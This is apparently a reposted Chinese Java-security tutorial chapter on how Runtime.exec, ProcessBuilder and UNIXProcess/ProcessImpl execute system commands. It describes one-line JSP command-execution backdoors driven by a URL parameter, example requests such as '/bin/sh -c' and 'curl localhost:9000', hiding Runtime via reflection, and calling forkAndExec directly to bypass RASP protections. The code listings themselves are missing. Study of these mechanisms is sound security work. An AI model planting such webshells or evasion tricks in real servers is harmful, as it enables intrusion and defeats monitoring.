9.2 Runtime命令執(zhí)行
在Java中我們通常會(huì)使用java.lang.Runtime類的exec方法來(lái)執(zhí)行本地系統(tǒng)命令。
Runtime命令執(zhí)行測(cè)試runtime-exec2.jsp執(zhí)行cmd命令示例:**
1.
本地nc監(jiān)聽(tīng)9000端口:nc -vv -l 9000
2.
使用瀏覽器訪問(wèn):http://localhost:8080/runtime-exec.jsp?cmd=curl localhost:9000。
我們可以在nc中看到已經(jīng)成功的接收到了java執(zhí)行了curl命令的請(qǐng)求了,如此僅需要一行代碼一個(gè)最簡(jiǎn)單的本地命令執(zhí)行后門也就寫好了。
上面的代碼雖然足夠簡(jiǎn)單但是缺少了回顯,稍微改下即可實(shí)現(xiàn)命令執(zhí)行的回顯了。
runtime-exec.jsp執(zhí)行cmd命令示例:
命令執(zhí)行效果如下:
Runtime命令執(zhí)行調(diào)用鏈
- Runtime.exec(xxx)調(diào)用鏈如下:
通過(guò)觀察整個(gè)調(diào)用鏈我們可以清楚的看到exec方法并不是命令執(zhí)行的最終點(diǎn),執(zhí)行邏輯大致是:
1.
Runtime.exec(xxx)
2.
java.lang.ProcessBuilder.start()
3.
new java.lang.UNIXProcess(xxx)
4.
UNIXProcess構(gòu)造方法中調(diào)用了forkAndExec(xxx) native方法。
5.
forkAndExec調(diào)用操作系統(tǒng)級(jí)別fork->exec(*nix)/CreateProcess(Windows)執(zhí)行命令并返回fork/CreateProcess的PID。
有了以上的調(diào)用鏈分析我們就可以深刻的理解到Java本地命令執(zhí)行的深入邏輯了,切記Runtime和ProcessBuilder并不是程序的最終執(zhí)行點(diǎn)!
反射Runtime命令執(zhí)行
如果我們不希望在代碼中出現(xiàn)和Runtime相關(guān)的關(guān)鍵字,我們可以全部用反射代替。
- reflection-cmd.jsp示例代碼:
命令參數(shù)是str,如:reflection-cmd.jsp?str=pwd,程序執(zhí)行結(jié)果同上
9.3 ProcessBuilder命令執(zhí)行
學(xué)習(xí)Runtime命令執(zhí)行的時(shí)候我們講到其最終exec方法會(huì)調(diào)用ProcessBuilder來(lái)執(zhí)行本地命令,那么我們只需跟蹤下Runtime的exec方法就可以知道如何使用ProcessBuilder來(lái)執(zhí)行系統(tǒng)命令了。
- process_builder.jsp命令執(zhí)行測(cè)試
執(zhí)行一個(gè)稍微復(fù)雜點(diǎn)的命令:/bin/sh -c “cd /Users/;ls -la;”,瀏覽器請(qǐng)求:http://localhost:8080/process_builder.jsp?cmd=/bin/sh&cmd=-c&cmd=cd%20/Users/;ls%20-la
9.4.UNIXProcess/ProcessImpl
UNIXProcess和ProcessImpl可以理解本就是一個(gè)東西,因?yàn)樵贘DK9的時(shí)候把UNIXProcess合并到了ProcessImpl當(dāng)中了,參考changeset 11315:98eb910c9a97。
UNIXProcess和ProcessImpl其實(shí)就是最終調(diào)用native執(zhí)行系統(tǒng)命令的類,這個(gè)類提供了一個(gè)叫forkAndExec的native方法,如方法名所述主要是通過(guò)fork&exec來(lái)執(zhí)行本地系統(tǒng)命令。
UNIXProcess類的forkAndExec示例:
private native int forkAndExec(int mode, byte[] helperpath,byte[] prog,byte[] argBlock, int argc,byte[] envBlock, int envc,byte[] dir,int[] fds,boolean redirectErrorStream)throws IOException;最終執(zhí)行的Java_java_lang_ProcessImpl_forkAndExec:
Java_java_lang_ProcessImpl_forkAndExec完整代碼:ProcessImpl_md.c
很多人對(duì)Java本地命令執(zhí)行的理解不夠深入導(dǎo)致了他們無(wú)法定位到最終的命令執(zhí)行點(diǎn),去年給OpenRASP提過(guò)這個(gè)問(wèn)題,他們只防御到了ProcessBuilder.start()方法,而我們只需要直接調(diào)用最終執(zhí)行的UNIXProcess/ProcessImpl實(shí)現(xiàn)命令執(zhí)行或者直接反射UNIXProcess/ProcessImpl的forkAndExec方法就可以繞過(guò)RASP實(shí)現(xiàn)命令執(zhí)行了。
看完點(diǎn)贊關(guān)注不迷路!!! 后續(xù)繼續(xù)更新優(yōu)質(zhì)安全內(nèi)容!!!
總結(jié)
以上是生活随笔為你收集整理的Java安全(一) : java类 | 反射的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 从中交中央公园到公牛充电桩旗舰店坐轻轨怎
- 下一篇: 计算机在平面设计中的作用,比例设计在平面